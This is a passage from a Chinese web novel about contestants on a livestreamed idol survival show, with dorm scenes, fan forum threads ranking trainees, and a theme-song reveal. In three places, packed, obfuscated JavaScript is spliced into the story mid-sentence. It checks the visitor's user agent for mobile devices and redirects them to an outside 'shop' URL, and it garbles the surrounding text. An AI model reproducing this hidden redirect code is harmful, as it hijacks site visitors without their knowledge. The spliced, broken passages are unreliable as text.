就在这片刻的沉默间隙,安文乐已经利落地完成了他的“组队”。 他第一个找上的就是周骏。 “周骏,我们一间吧?”他语气自然,带着熟人间的熟稔,“刚才路上还说互相照应呢。” 周骏正望着从安那边的人群,心里有些乱。 一方面,从安的话让他清醒;另一方面,安文乐的主动邀约又带着一种难以拒绝的“友情”温度。 他迟疑地点了点头:“……好。” 安文乐心里一定,立刻又锁定了两个目标——都是在初舞台上表现平平、没什么话题度、看起来也并非出自大公司的练习生。 他笑容热情又不过分殷切,三言两语就说明了意图,那两人正愁找不到合适的室友,见安文乐和周骏主动邀请,几乎没怎么犹豫就答应了。 四人很快到工作人员那里登记完毕,拿到了二楼一间宿舍的钥匙。 整个过程快得让周围一些还在观望或犹豫的人都没反应过来。 安文乐转身离开登记处时,目光不经意地掠过依旧被人群隐约围着的从安,眼底闪过一丝冷静的算计。 选人气王当室友?蠢。 镜头和故事永远是围绕主角展开的,挤进主角的宿舍,最好的结果也不过是个“关系不错的室友”,镜头扫过时附带一秒。 而在一个都是“配角”的宿舍里,他安文乐,就是天然的中心。 他可以有充足的空间去经营自己的形象,去成为这个小团体里最突出、最值得被记住的那个人。 没有对比,就没有伤害;没有巨星的阴影,他这点光才能被看见。 周骏跟在他身边,忍不住又回头看了一眼从安的方向。 他看到从安似乎对周围的人说了句什么,然后人群安静了些,从安的表情依旧没什么波澜,只是随手指了指身边的几个练习生。 他对被指的那几个人都没什么印象,只依稀记得初舞台表演时,不算很差,但也没有很好。 “加上你们,我们四个,可以吗?”从安对身边的几个人问道。 那三人愣了一下,对视一眼,忙不迭地点头。 能和大公司出身的从安一间宿舍,虽然对方看起来并没有多热情,也没有交朋友的意思,但能和对方一间宿舍,好处总是多于坏处。他们迅速同意了下来。 见状,从安点点头,径直带着他们走向登记处。他的选择迅速而干脆,没有拉扯,没有寒暄,目的明确——找到室友,定下房间,结束这场于他而言意义不大的社交。 整个过程,他都没有看安文乐和周骏一眼。 安文乐收回目光,嘴角那点微不可查的弧度也消失了。 从安的这种彻底的无视,比任何针锋相对都更让人憋闷。 仿佛他安文乐的一切选择和算计,在对方眼里,根本不值一提。 “走吧,去看看咱们宿舍。”安文乐换上笑容,拍了拍周骏的肩膀,语气轻快,“早点收拾好,还能聊聊明天的事。” 周骏“嗯”了一声,随着安文乐往楼梯走去。 这边从安登记完宿舍,也知道了自己新出炉的三名室友的名字。 秦宽,二十岁,长相十分俊朗,颇有一种雕塑般的深邃,和他一样是c班。 汪元白,十九岁,长相清秀,和秦宽是完全不同的类型。如果说秦宽是一抹浓郁的色彩,那汪元白就是一缕飘柔的风。他的初舞台表现很不错。舞蹈让人眼前一亮,最后的评级是B级。 夏实,二十二岁。眼睛圆圆的,看起来很可爱。染了一头橘色的头发,很亮眼。他的等级和汪源白一样,也是B级。 从安的速度算快,等他登记完的时候,正巧赶上一楼还剩下最后一间宿舍,于是他毫不迟疑地登记了一楼的这间宿舍。 再去拿了自己的行李,四人便一起朝自己的宿舍走去。 虽然昨天晚上已经在这栋宿舍楼住过一晚了,但今天毕竟是录制,而且还是以后会一直住下去的房间,所以大家的心情还是比较激动。 大包小包的,扛着行李,挤来挤去的,走到房间门口时,推开门就忍不住发出惊叹。 房间不大,放了两张上下铺,剩下的空间放了四个小柜子。 再往里就是一个小阳台和一间卫生间。 在房间的四个角落,都放置了摄像机。 四人很快选好了自己的床位。 从安坐在了靠门边的下铺。 从安感受到了大家格外的好说话,有可能是因为镜头的拍摄,也有可能是因为他大公司的出身。 但不管怎么样,他确实得到了一些好处。 垂下眼,从安没有多说什么。开始收拾自己的行李。 从安的行李拿的不多,只有一个行李箱。 里面是基础的三套衣服和一些护肤品。 电子产品之类的违禁物品,早在进入基地的第一时刻就被节目组的工作人员拿走了。 其他的零食之类的东西,从安一个都没有拿。作为减肥党,从安在根源上就杜绝了这些物品的诱惑。 他们四人决定宿舍的动作快,所以现在时间还早,还不到12点。 等从安把自己不多的东西收拾完,也才过去了十几分钟。 夏实看到从安已经收拾好了东西,主动开口:“从安,你收拾好了,要不你先去洗漱吧?” 卫生间只有一个,洗漱台倒是有两个,但是今天大家录制了整整一天,头发做了造型喷了不知道多少发胶,这样一天下来当然不是简单的洗漱台能把自己打理干净的,必须在浴室狠狠的洗一顿才行。 从安回头看了一眼剩下三人收拾的进度。 他们带的东西看起来都不少。 从安自己只拿了一个20寸的行李箱,能上飞机的那种大小。剩下三个,看起来都是至少24寸的行李箱。 里面密密麻麻的放了不少东西,颇有一种要在这里过日子的感觉。 看起来还得收拾一段时间。 “好。”从安点头同意了。 拿上洗漱用品,直接就去卫生间开始洗漱。 从安洗漱的动作并不慢,但厚重的妆容和僵硬的头发也确实不是轻易就能洗干净的。 努力了半天,等从安离开卫生间的时候,他的室友们已经收拾好了自己的行李。 “从安,来!吃牛肉干!”夏实看到从安出来,开口招呼。 他的手上拿着一包大大的牛肉干,剩下两人手上也拿着牛肉干再往嘴巴里面塞。 吃晚餐还是六个小时之前的事情。 经过一晚上的录制,那点吃下去的东西早就消化了。 现在从安的肚子一直在咕噜噜的叫。 想来其他人也饿的不行。 夏实手上的牛肉干真的十分吸引人。 但从安还是拒绝了。 “我不吃了,刷过牙了,你们吃吧。” “这有什么的?”夏实起身走到从安面前,十分贴心的取出了一小包牛肉干放在从安面前,“吃完了再刷一遍不就行了。” “不了。”从安摆手:“我还要减肥。” 这话一出,夏实下意识还想再劝两句,但等他目光在从安脸上停了两秒,顿时把话咽了回去。 他虽然不知道从安现在的体重,但纵观今天的100名练习生,他敢确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837146|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从安在里面算得上是重的那一类。 瘦的练习生一个比一个多,但像从安这样匀称的也确实不多见。 见从安出来了,秦宽三两口吃完自己的牛肉干,收拾好东西就去洗漱。 在从安刚刚洗漱的时候,他们剩下的三个就用这个世界上最公平的游戏,石头剪刀布决定了他们三人的洗漱顺序。 而夏实和汪元白吃完牛肉干也还没结束,刚才的牛肉干是夏实的珍藏,然后汪元白反手一掏,就从自己行李的角落掏出来一看就非常诱人的方便面。 “吃不吃?”汪元白压低了声音。悄悄的把方便面放在了夏实的面前。 夏实眼前一亮:“吃!” 简单一个字,充分的表明了他此刻激动的心情。 夏实和汪元白两人想吃泡面,但还缺少热水和锅,不过这不是问题,办法总比困难多。 在夏实出去逛了一圈之后,回来的他不仅有了锅,身后还跟了另一名练习生。 看起来就是他友情提供了锅。 于是吃泡面的队伍又增加一人。 新来的练习生热情地招呼着从安加入,从安以减肥为理由拒绝。 见此,那人也没在多说什么。 从安的理由如此正当,而且看外表,从安也确实是需要减肥的一员。 他们这些大半夜吃泡面的人,真的就是这么馋,馋到冒着长胖和第二天水肿的风险,就一定要吃这顿泡面吗? 当然不是! 他们的体重尚在控制范围内,一顿泡面不会让他们立刻长胖。 今晚少吃些,第二天水肿也不会太严重,再喝点消肿的水,做些消肿的按摩,就可以把这顿泡面的后遗症解决。 但入住宿舍第一晚,游走在规则边缘的吃泡面,可不是简单的话题! 不管最后这一段会不会被播出,但只要有播出的可能,就值得这么做! 总比回宿舍之后老老实实收拾东西,洗漱睡觉,来得更有看点吧。 三人等着水开的间隙,目光不约而同地从已经躺到床上的从安身上一扫而过。 很快,水开的声音响起,他们迅速收回视线,开始兴奋地把面放进锅里。 “泡面还得是煮的好吃。” “对对,煮的泡面简直是仙品。” “多亏有你的锅。没想到你居然能把锅带进来,你是怎么做到的?等一下,我们现在在这里吃面,节目组不会看到吧?那你的锅?” “──啊”锅的主人抱头痛哭,等哭完了,看向泡面的眼神越发虔诚。 这将是这口千辛万苦被带进来的锅唯一发光发热的时刻,可一定要做出世上最好吃的泡面啊! 秦宽洗漱出来时,泡面正好出锅,于是他也加入了深夜加餐的队伍。 于是半夜十二点,在一楼宿舍,四名练习生就这么激动地分享着两包泡面。 俨然一副在品尝世上最好吃的食物的模样。 从安躺在床上,鼻尖全是泡面诱人的气味,肚子里传来阵阵饥饿,每一个细胞都在叫嚣着想吃。 从安翻了个身,把头埋进被子里,幻想自己此刻正在进食。 泡面的味道萦绕在耳边,想象着入口的食物,疲惫的身体不知不觉进入了睡眠。 练习生们渐渐休息,而网络上的观众们却依然激动。 今天节目的直播在初舞台结束的时候终止,然后有关节目的讨论,也随之爆发。 从未有过的直播形式,和一百名练习生的初舞台亮相,足以让所有观众投以好奇的目光。 白天大家都在上学上班,没有办法长时间观看直播,但晚上大家回了家,休息时间,哪怕是往年不看选秀的观众,也没忍住打开了《星光熠熠》的直播间。 没办法,直播的噱头太大了。 看综艺图的是什么?不就是一个热闹吗? 现在一百名练习生的选秀直播,热不热闹?还能有比这个更热闹的吗? 没了! 16.第 16 章 *星光熠熠小组* 【今天的直播结束了?】 —— 【主楼】 直播间黑了,这是完了吗? 1楼 也该结束了吧……从早上八点到晚上十一点……一整天啊……我看都看得累死了 2楼 直播直播居然真的是直播 这么个直播法,跟24小时直播有什么区别? 今天的直播除了中午他们休息的那一个小时,其他时候全程都在播吧? 3楼 回复2楼 对的,我看了全程 中午的时候好歹还休息了一会儿,下午那一个小时的休息他们也一直在播 直播间里有将近上百个镜头可以切换,可以看到练习生在不同的地方出现 4楼 回复3楼 ??!!居然有上百个镜头吗?疯了吧,这还有隐私吗? 5楼 回复4楼 也还好吧 这些镜头都是公共场合的镜头 要么是演播厅不同视角的镜头,要么是走廊的镜头,要么是路上的镜头 在这种公共场合,练习生也不能干嘛吧 说起隐私,他们现在应该是去宿舍了,这不就没直播了吗?说明节目组还是注重隐私的 6楼 回复5楼 ……这样啊,那感觉好了很多 我就今天晚上看了一会儿,就看见直播间里好多不同的视角,除了主舞台,还可以切换台下练习生视角看他们的reaction 7楼 绿洋影视这波真的是玩大的了 这种直播间,后面得是多少程序员的头发啊? 还那么流畅那么高清……绿洋影视果然还是厉害,这技术力杠杠的 8楼 回复7楼 玩得大但收益高啊 今天晚上我看直播间同时在线人数都有大几十万了 这可是工作日啊!还是直播的第一天!今天都有这么多人看,以后我都不敢想 …… 【直播看完了,感觉今年大家的表现都还不错啊】 —— 【主楼】 是直播看了全程,没有剪辑乱剪的原因吗?比我想象的好了很多 我都好感好几个人了 1楼 直播确实刺激,没有剪辑,没有黑幕,好坏一目了然,但也是真的残酷,一旦错了那就是真的错了,没有任何挽回的空间了 我看见有几个失误的,哎哟那个表情,看得人心软软 2楼 今年整体实力确实比去年强 刚开始导师评级的时候我还在想说是不是太严格了一点,好些人我都觉得应该不止现在的评级 但等现在所有人评级结束,看看现在A班那几个人 我的天,这还是练习生吗?把他们的初舞台拿出去,说是出道艺人也不会有人反驳吧 3楼 B班也有宝藏!司景曜!我命运般的vocal!他一开口我鸡皮疙瘩起来了!虽然舞蹈确实笨拙,但那张脸!那个嗓音!他要是不出道我真的会哭! 4楼 回复3楼 姐妹同道中人!曜曜是瑰宝!纯素人被挖来,这天赋绝了!舞蹈可以练,这嗓子可是老天爷赏饭吃! 5楼 只有我还在回味车明杰那个暴风街舞吗?自学的啊!那股野性生命力,跟那些流水线出来的味道完全不一样!B给低了,至少A! 6楼 其实也大概可以看出来今年导师评级的规则 如果你只有一方面很突出,比如车明杰舞蹈非常好但声乐一般,比如司景曜声乐非常好但其他一般,这种都是B,而至少有两个非常好的比如柯子晋,唱跳都没有短板,又比如师启,RAP直接拉出去说是rapper都没问题吧,舞蹈更是甩了其他人一大截……这种才能当A 其他的比较平庸的,没那么突出的,全都被塞到C了 今年的要求真的还蛮严格 不过这么严都能选出五个A,感觉这五个人已经是板上钉钉的出道组了 7楼 这么一看光芒娱乐今年又开大了,陈子谦、车明杰、柯子晋,三个都有爆相。陈子谦嗓音清亮,车明杰舞蹈暴走,柯子晋全能ACE,公司会选人 说不定今年光芒的三个人全都能出道啊 8楼 涛一下C班及以下的弟弟们吧,有没有潜力股? 9楼 C班……有个叫从安的,明辉娱乐的,去年《第五纪》的遗珠,今年感觉状态一般,有点发胖?不过底子能看出来,给他点时间可能能冲上来 10楼 回复9楼 从安我知道!养成系跑来参加选秀第一人吧?话题度是有的,但今天舞台确实平,C班合理。看他能不能起来了 不过养成系粉丝不是很长情嘛,他来参加选秀的话他的粉丝都会给他投票的吧? 现在虽然是C班,但出道还是看人气啊 11楼 安利一个中等偏上的!安文乐!C班的,长相清秀可爱,舞台也算稳,性格看起来很好,一直笑眯眯的,还主动帮别人,感觉是体贴弟弟款 12楼 回复11楼 安文乐我也有印象!笑起来眼睛弯弯的,像小兔子。不过实力还得再看看吧,初舞台不算出挑。 13楼 觉得查舟混血颜太顶了,舞台上贵族王子,台下好像有点傻憨憨?反差萌。 14楼 师启才是大魔王吧?海外训练回来的,动作干净得像尺子量的,表情管理绝了,但他好像不怎么笑?有点冷? 15楼 有人关心那个初舞台最后瘫在地上的个人练习生吗?叫车明杰?他下台的时候,那个查舟还伸手扶了一把!镜头扫到了!我看到了! 16楼 回复16楼 啊啊啊我也看到了!“查杰”CP有素材了!强强yyds! …… 【安利丨人间天籁·司景曜初舞台纯享cut+考古弹唱视频合集指路!入股不亏!】 —— 【主楼】 放一个曜曜初舞台CUT链接[链接],再放一个他之前在商场弹唱《飞鸟》的爆火视频[链接] 素人爆红的含金量大家懂的都懂。 绝美容颜,人鱼嗓音,天选大主唱! 走过路过不要错过,快来给人鱼主唱投一票! 1楼 等一下,这个《飞鸟》视频有点熟悉……这个司景曜就是前段时间那个短视频平台上点赞破千万的那个人? 2楼 回复1楼 没错!就是他! 3楼 回复2楼 他居然来参加选秀了,我的天 4楼 居然是这个司景曜吗? 我当时看那个视频的时候就在想,他是不是哪个公司的艺人 结果看评论区才知道是去打工的大学生 不过他的实力真的没话说,长得也很好,不然也不会一个视频就破千万点赞了 他来参加选秀,那不得大吸粉啊? 5楼 现在曜曜舞台还不太行,毕竟以前没学过,等学学舞蹈,实力上去,相信曜曜一定能变得更好! …… 【理涛丨第一个选秀养成系从安,这次能出道吗?】 —— 【主楼】 从安,明辉娱乐六年养成练习生,去年《第五纪》没出道,今年转战选秀。 初舞台C班,表现平平,能看出基本功但并不突出。 优势:粉丝基础有,话题度高,养成系情怀加分。 劣势:选秀战场更残酷,对手更强,自身状态需要恢复。 大家看好他吗? 1楼 从今天的表现不太看好。 实力不突出,颜值不突出,我看到他都在怀疑养成系的眼光。 不是,那群养成系粉丝这么多年就吃成这样?就这都能有很多粉丝? 还好从安没出道,不然我真要觉得养成系粉丝是异食癖了 2楼 我有看他粉丝发的以前舞台,感觉还行啊,长得也还可以 怎么今天初舞台这样? 3楼 从安多年粉丝来解释一下 从安不是实力差,也不是长得差 在来参加节目之前,他已经闭关了大半年专心备考 没有任何露出也没有任何训练,整整半年都在学习文化课 所以长胖了一些,实力也下降了一点 但是上了节目,从安的状态很快就会调整回来的!从安一直都很努力的!他绝不会用这样的状态面对接下来的录制! 4楼 回复3楼 你们粉丝翻来覆去都是这几句话 他状态那么差他可以不来参加啊?来都来了还要给自己找理由 本来就是资源咖了,怎么,现在还要操作一个出道位出来吗? 5楼 虽然目前没看出什么突出之处,但有粉丝基础在,闯过前几轮还是没有问题的 先观望一下吧 …… 【某些选手麦麸是不是太刻意了?直播镜头下简直无所遁形】 —— 【主楼】 虽然大家懂的都懂吧,但是以前看到的都是剪辑过的节目,虽然觉得生硬,但感觉也还勉强 但是今天这个全程直播,真是给我看得目瞪口呆 不是,没有人告诉过我他们麦麸那么明显那么尴尬啊! 妈妈我以后还能吃到饭吗? 1楼 +1某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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4.司景曜(个人):天赋vocal,话题度top,只要舞蹈别差到人神共愤,凭音色和脸就能锁死一个席位。 5.车明杰(光芒):黑马姿态,独特风格,吸死忠粉,需要证明稳定性。 6.闻辰(天蓝):第三次参加选秀,上次卡位没能出道,这次卷土归来,初评级A证明其实力,厚积薄发就在今朝。 争夺区间(看后续发展): 7.陈子谦(光芒):优质vocal,形象好,公司给力,但是也感觉没什么特点,让人印象不深。 8.余修文(众娱):童星出身,形象突出,实力也突出(初评级是A),还是大公司,感觉没短板啊,就看之后他公司是更想让他当演员还是爱豆吧,我还挺喜欢看他小时候拍的那些戏的,怎么就突然来参加选秀了呢? 9.从安(明辉):养成系,有固定死忠粉丝,有话题度,大公司,目前表现平平,看后续。 这些都是A班和目前话题度比较高的几个,但是每年都会有不少黑马,今年会不会也有黑马杀出重围,冲进决赛圈呢?让我们拭目以待! 1楼 楼主分析得挺客观 师启查舟柯子晋基本锁了 司景曜是变量,也是看点 车明杰需要一次公演证明自己不只是“有劲儿” 2楼 我觉得光芒娱乐可能不止进两个,三进二或者三进三都有可能,看运营 陈子谦和柯子晋比较稳,车明杰风格独特点,但看得出来练习时长确实短,基础一般,不过天赋摆在那里,看看后续吧 3楼 从安应该能进吧?明辉娱乐呢,这可是明辉娱乐! 养成系粉丝不都很团结的吗,现在有人挂着养成系的名号来选秀,那些粉丝还不都赶来投票? 4楼 回复3楼 前期免费票投投当然无所谓 后期要氪金就难说了,那得真爱粉才会投 5楼 星耀的查舟和光芒三子感觉就是今年的“皇族”预定了,实力也配得上,就是看个人练习生能撕下几个位置 …… 【安利丨「启明星」师启初舞台高光时刻合集(持续更新)】 【安利丨「舟行万里」查舟初舞台混剪·王者风范】 【安利丨「光芒三子」柯子晋/陈子谦/车明杰初舞台精彩瞬间汇总】 …… 17.第 17 章 凌晨五点,天还未亮透,影视基地笼罩在一片青灰色的寂静里。 只有远处保安亭亮着一点微光,和零星几声早起的鸟鸣。 从安轻手轻脚地下了床,换上运动服和跑鞋。 同宿舍的三人还在沉睡,呼吸均匀。 他推开宿舍门,冰冷的晨风瞬间灌入,让他精神一凛。 走廊空无一人,感应灯随着他的脚步次第亮起。 他小跑着出了宿舍楼,沿着基地内部规划好的环形步道开始慢跑。 呼吸在冷空气中化成白雾,脚步规律地落在路面。 从安控制着节奏,既不过快消耗体力,也要达到燃脂心率。跑步是他恢复体能和减肥的基础,也是他一天开始的仪式。 在这无人打扰的清晨,脑子可以彻底放空,也可以无比清晰地思考。 半小时慢跑后,他停在步道尽头的空旷处,开始基础拉伸和核心训练。平板支撑时,手臂肌肉因为昨日的舞台和今晨的消耗而微微颤抖,他盯着地面,在心里默数,直到预定时间才松懈下来。 接着是练声。 他走到更僻静些的、靠近围墙的角落,避开可能扰人清梦的区域,从最简单的气泡音开始,慢慢打开声带,然后是一组爬音阶练习。 声音在寂静的清晨传得不远,反而有种切实专注感。 六点半,天色渐亮,从安结束晨练,额发已被汗水微微打湿。 他走回宿舍楼时,已经能看到零星几个同样早起的练习生身影,彼此点头示意,并不多话。 他在食堂窗口见到了已经开始工作的刘姨。 “这么早?还是老样子?”刘姨看到他,脸上露出笑容,手上动作却利落地拿出了特别准备的东西——两个水煮蛋,一根玉米,一小盒无糖酸奶。 “嗯,谢谢刘姨。”从安接过,“今天好像多了一样?” “光吃那点哪够练?酸奶是脱脂的,没糖,放心吃。你看你,比去年瘦多了,还减?”刘姨忍不住又念叨。 从安只是笑笑,没多解释。 他自己的身体自己知道。 现在的他远不到最好的状态,现在只是刚开始。 他端着餐盘坐到角落,快速而安静地吃完。 回到宿舍时,七点刚过,秦宽和汪元白已经醒了,正在卫生间门口谦让谁先洗漱。 夏实还裹在被子里,只露出一头橘发。 “从安?你这么早就出去了?”秦宽看到他,有些惊讶。 “嗯,晨练。”从安简单答道,拿上洗漱用品,趁秦宽和汪元白两人在洗漱台上洗脸刷牙,自己趁着卫生间空档迅速洗了头和澡。 等他擦着头发出来时,秦宽和汪元白两人已经收拾完东西离开宿舍了,而夏实也终于挣扎着爬了起来,睁着睡眼惺忪的眼睛,坐在地上看起来好不困倦。 昨天的录制持续到晚上十一点,回到宿舍楼敲定宿舍,再吃了夜宵,接着洗漱,等夏实躺到床上闭眼睛睡觉,时间已经将近一点。 而现在七点出头,满打满算,他也才睡了六个小时。 这样的作息,他能睁着眼睛起床,就已经耗尽了自身所有的控制力了。 “早啊……”夏实打了个哈欠,看到从安已经换上C班训练服,一身清爽、连头发都吹得半干的样子,愣了一下,“你动作也太快了。” 一大早还起来洗了澡,这得几点起床啊? 夏实现在还不知道从安甚至是晨练回来,等他知道了,只会更加震惊。 “时间不早了。”从安看了眼手机,七点二十。 九点集合,他们还需要去化妆、戴麦,路上也要时间。 已经没有多余的时间耽搁。 夏实连忙回神,赶紧抱着洗漱用品冲进卫生间。 七点四十,夏实整装待发,身上穿着新鲜出炉的银色B班训练服,手里拿着自己精心藏好的‘违禁品’面包当做早餐,不打算再花时间往食堂跑一趟,和从安一起离开宿舍楼,往化妆楼走去。 清晨的阳光正好,将基地内的建筑和道路染上一层淡金色。 “听说每年这个时候,基地门口都会有很多站姐和粉丝蹲守,拍上下班路透。”夏实边走边说,语气里带着点好奇和兴奋,“神图好多都是这里出的。” 从安“嗯”了一声,目光从道路尽头一闪而过。 站姐的存在他并不陌生,练习多年,他刷到过不少自己站子的出图。 果然,当他们的路线接近基地的主干道,远远就能看到气派的大门外,隔着一段距离聚集着不少人,长枪短炮在阳光下反着光。虽然看不清具体面容,但能感觉到那些镜头的朝向。 就在这时,夏实忽然自然地朝从安身边靠近了一步,手臂几乎要碰到从安的手臂,头也微微侧向从安这边,脸上扬起一个灿烂的笑容,正对着大门方向说着什么,仿佛两人正进行着非常愉快亲密的交谈。 从安脚步未停,但身体几不可查地往另一侧偏了半分,拉开了那点过于刻意的距离。 他脸上没什么表情,既没有配合笑容,也没有露出不悦,只是目视前方,加快了脚步。 直到走过那条“最佳拍摄路段”,拐进另一条通往化妆楼的、相对隐蔽的小路,从安才停下脚步。 夏实正想说什么,却见从安转向他,目光直接而平静:“你刚才是故意的?” “啊?”夏实脸上的笑容僵住,一时语塞,“什么故意?我就是……” “拉近距离,显得亲密。”从安接话,语气没有质问,更像是在陈述一个观察到的事实。他回想昨晚宿舍里夏实过分的热情,分享零食,主动搭话,乃至现在这一幕。“这个世界上不会有无缘由的好,所有的热情背后都有理由。”他看着夏实,眼神清澈得让人无所遁形,“而现在这个场景,这个处境,你的目的很容易就能判断出来。” 夏实的脸色变了变,从被戳穿的尴尬,到一丝难堪,嘴唇动了动,却没发出声音。 从安却接着开口,语气依旧平稳,甚至带上了点……分析建议的意味。 “如果你是想和我炒CP,”他说,“我觉得这样不好。” 夏实猛地抬眼,脸上血色褪去一些。 “我们两个是同种类型的。”从安继续道,仿佛在讨论一个技术问题,“身高相近,风格……目前从外形来看,都更偏阳光,缺乏反差和互补。这样的CP不好磕,不会有太多粉丝真心投入的。我觉得你应该找一个和你完全不同类型的练习生,比如更阴郁的,或者更清冷的,效果可能会更好一点。” 夏实彻底愣住了。 他预想过从安可能会冷漠拒绝,可能会直言不讳地让他别来这套,甚至可能嗤之以鼻。 但他万万没想到,从安会如此冷静、甚至堪称‘专业’地分析起炒CP的‘成功率’和‘人设搭配度’。 这感觉……就像你蓄力打出一拳,却打在了一团逻辑严密的棉花上,对方还认真地告诉你:“你这个出拳角度不对,发力方式也有问题,建议你调整一下再试试。” 荒谬,又让人哑口无言。 还带着一股莫名其妙的真诚。 “我……”夏实张了张嘴,脑子里一片混乱,准备好的所有说辞都被这番‘建议’打得七零八落。 “时间不早了,我先走了。”从安看了眼手表,没等夏实组织好语言,便点了点头,转身径直朝化妆楼走去。步伐依旧稳定快速,仿佛刚才那段对话只是路上一个微不足道的小插曲。 夏实呆立在原地,看着从安毫不留恋离开的背影,半晌没回过神来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844788|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晨风吹过他橘色的发梢,带来一丝凉意,却吹不散他脸上的茫然和错愕。 就在这时,身后传来脚步声和熟悉的声音。 “夏实?一个人站这儿发呆?”安文乐走了过来,脸上带着惯有的、亲切的笑容。 两天时间,他已经和节目里绝大部分练习生都打过了交道。 他顺着夏实恍惚的视线方向看了一眼,只看到从安即将消失在转角的身影。 安文乐嘴角勾起一抹了然又带着些许讥诮的弧度,压低声音,用那种分享秘密般的语气说:“从安是不是特别难接近?我跟你说,他那种大公司出来的,眼睛都长在头顶上,跟我们天生就不是一个世界的。你别太往心里去。” 他本以为会得到夏实的点头或共鸣,至少是一声叹息。 然而,夏实转过头看他,脸上的表情却很复杂。没有预想中的愤懑或附和,反而是一种……没完全回过神来的怔愣,以及一种隐约的、不太赞同的神色。 虽然夏实最终什么也没说,只是含糊地“唔”了一声,但那表情已经说明了一切。 安文乐心里一沉,笑容淡了些。怎么回事?从安跟他说了什么? “时间不早了,我们也快过去吧,要集合了。”夏实看了眼时间,率先迈开步子,语气已经恢复了平常,但那份下意识的疏离感,安文乐敏锐地捕捉到了。 两人没再多话,匆匆赶往化妆楼。 * 上午八点五十,所有练习生已基本完成妆发,佩戴好个人麦克风,按照班级区域,坐在了演播厅那金字塔形的阶梯座位上。 不同于昨晚的松懈或刻意的活跃,此刻的氛围是统一的紧绷和期待。 大家都知道,接下来要公布的,是决定他们第一阶段命运的东西——主题曲。 从安坐在C班区域的中段,腰背挺直,目光落在空荡的舞台上。 脸上浮现出和其他练习生一样的期待。 他们将会迎来怎样的主题曲? 高难度的舞蹈?复杂的唱段?还是更注重表现力? 在所有练习生的注视下,九点整,演播厅所有灯光亮起,随着大屏幕上出现节目的标识,莫烟和五名导师的身影缓缓出现在舞台上。 今天的莫烟和导师们一起,换上了黑白相间的训练服。 和练习生身上的训练服是相同的款式,只是颜色不同。 “各位练习生,早上好。”莫烟的声音通过麦克风传遍演播厅,舞台下齐齐地响起了同样问号的声音。 “经过昨天的初舞台评级,你们已经对自己、对同伴,有了初步的认识。但这仅仅是开始。” “从现在起,你们将迎来《星光熠熠》第七季的第一个正式挑战——主题曲《星光》的学习与考核。” 大屏幕上出现了歌曲的名字和华丽的金色Logo。 “你们将有——”莫烟刻意停顿,看到台下许多人屏住了呼吸,“三天时间。” 台下响起一片压抑的惊呼和抽气声。三天!以往不是至少五到七天吗? “三天后的同一时间,在这里,进行主题曲考核。由导师团根据你们的综合表现,重新评定等级。同时——”莫烟提高了音量,“考核的第一名,将成为《星光》MV的中心位,拥有最长的个人镜头和最突出的展示部分。” “中心位”三个字,像一颗投入静湖的石子,激起了巨大的涟漪。 不少练习生的眼睛瞬间亮了,身体前倾,跃跃欲试。 A班的几名练习生,眼神中更是爆发出锐利的锋芒。 从安的心脏也猛地跳动了一下。 中心位……那是舞台上最耀眼的位置。 不会有人不想站在那里。 “现在,请看主题曲示范——《星光》!” 18.第 18 章 “现在,请看主题曲示范——《星光》!” 莫烟退到一边,舞台灯光倏然变幻。 前奏响起,并非预想中的激昂爆裂,而是由一段清澈如泉水的钢琴旋律引入,伴随着空灵而富有节奏感的电子鼓点,瞬间抓住了所有人的耳朵。这旋律优美却带着一种不容小觑的力量感,像黎明前最深沉的黑暗里,逐渐亮起的第一缕星光。 大屏幕亮起,舞台上导师们的身影开始动作。 舞蹈导师厍贝站在最前方,当歌词第一个字唱响时,她的身体也随之律动。起手并非大开大合,而是一个看似舒缓却需要极强核心控制力的侧身延展,手臂划过的轨迹精准而富有韧性,指尖仿佛要去触摸那缕好似不存在的星光。 紧接着,一连串复杂细密的脚步变换接踵而至,配合着手臂和肩颈的联动wave,动作流畅如行云流水,却每一步都踩在节奏最激烈的鼓点。 这舞蹈不追求纯粹的力量轰炸,而是强调控制、延伸、与节奏的极致统一,以及对身体控制能力的高要求。 许多看似柔和的线条里,藏着需要瞬间爆发的力量。 副歌部分,旋律陡然拔高,充满希望的呐喊扑面而来,舞蹈也随之进入高潮部分。 一组连续三次的跳跃旋转接单膝滑跪定格! 这对爆发力、平衡感、膝盖承受力以及落地瞬间的表情管理都是残酷考验。 而后又是一个需要极强腰腹力量的后仰下腰动作,接迅速起身的队形变换。 整个过程,导师们的唱跳气息依旧稳得惊人,舞蹈整齐划一到令人头皮发麻,每一个眼神、每一次指尖的颤动都卡在节拍里,赋予了“星光”这个词既璀璨又坚韧的具象化表达。 示范结束,音乐余韵在演播厅回荡,灯光重新变得明亮,台下却陷入了一种近乎凝固的寂静。 许多练习生脸上的期待,已经变成了震惊和恐惧。 这舞蹈的难度,不在于某一两个“大招”,而在于从开始到结束的全程。 三分钟,没有划水的空间,简直每分每秒都在压榨表演者的每一丝潜能,任何一个细节的松懈都会在整齐的刀群舞中成为刺眼的瑕疵。 